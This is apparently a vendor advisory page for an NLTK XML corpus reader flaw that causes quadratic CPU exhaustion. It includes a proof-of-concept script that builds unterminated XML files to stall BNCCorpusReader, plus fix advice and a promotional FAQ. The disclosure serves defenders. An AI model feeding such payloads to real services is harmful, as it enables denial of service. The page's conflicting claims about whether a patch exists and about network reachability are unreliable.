CVE-2026-81723

NLTK: Quadratic CPU Exhaustion in XMLCorpusView.readxml_fragment()

fragment = ""
while True:
    fragment += stream.read(self._BLOCK_SIZE)      # grows by 1 KiB per iteration
    if self._VALID_XML_RE.match(fragment):         # rescans full buffer each time
        return fragment
    ...
    last_open_bracket = fragment.rfind("<")
    if last_open_bracket > 0:                      # False for single-'<' payload
        if self._VALID_XML_RE.match(fragment[:last_open_bracket]):
            return ...
    # loop continues

from pathlib import Path
from tempfile import TemporaryDirectory
from time import perf_counter
from nltk.corpus.reader.bnc import BNCCorpusReader

SIZES_KIB = (256, 512, 1024, 2048, 4096, 8192)
results = []
with TemporaryDirectory() as directory:
    root = Path(directory)
    malformed = root / "unterminated.xml"
    for kib in SIZES_KIB:
        malformed.write_bytes(b"<" + b"a" * (kib * 1024 - 1))
        t = perf_counter()
        try:
            list(BNCCorpusReader(str(root), [malformed.name]).words())
        except ValueError as e:
            assert "tag not closed" in str(e)
        results.append(perf_counter() - t)

print("KiB      seconds   growth")
for i, (kib, elapsed) in enumerate(zip(SIZES_KIB, results)):
    ratio = "-" if i == 0 else f"{elapsed / results[i-1]:.2f}x"
    print(f"{kib:5d}  {elapsed:9.3f}  {ratio}")

Applications that process attacker-controlled XML corpus files through an affected reader
are vulnerable. The attacker needs only write access to a path the reader will open. No
NLTK credentials or special privileges required. Offline tools reading only trusted
local corpora are not at risk.

Affected versions: Verified in NLTK 3.9.4, 3.10.0, and the current develop branch.
Historical inspection indicates the same loop structure has existed since the
introduction of XMLCorpusView (2007), but only the listed versions were
experimentally verified. No patch exists in any published release.

This issue results in CPU exhaustion and may allow denial of service in applications
that process attacker-controlled XML corpus files.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-81723 has a CVSS score of 3.7 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.10.3); upgrading removes the vulnerable code path.

Kodem intelligence

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Avoid rescanning the accumulated fragment from the beginning after each 1 KiB read.
Incremental parsing, bounded fragment accumulation, or another streaming approach would
eliminate the quadratic behavior while preserving existing semantics.

A regression test should verify that BNCCorpusReader.words() raises ValueError
within a fixed timeout (e.g. 5 seconds) against a 2 MiB malformed input. The existing
test_xmldocs_security.py covers only the prior ReDoS payloads and does not exercise
this path.

1. What is CVE-2026-81723? CVE-2026-81723 is a medium-severity uncontrolled resource consumption vulnerability in nltk (pip), affecting versions <= 3.10.2. It is fixed in 3.10.3. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2026-81723? CVE-2026-81723 has a CVSS score of 3.7 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of nltk are affected by CVE-2026-81723? nltk (pip) versions <= 3.10.2 is affected.
4. Is there a fix for CVE-2026-81723? Yes. CVE-2026-81723 is fixed in 3.10.3. Upgrade to this version or later.
5. Is CVE-2026-81723 exploitable, and should I be worried? Whether CVE-2026-81723 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-81723 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-81723? Upgrade nltk to 3.10.3 or later.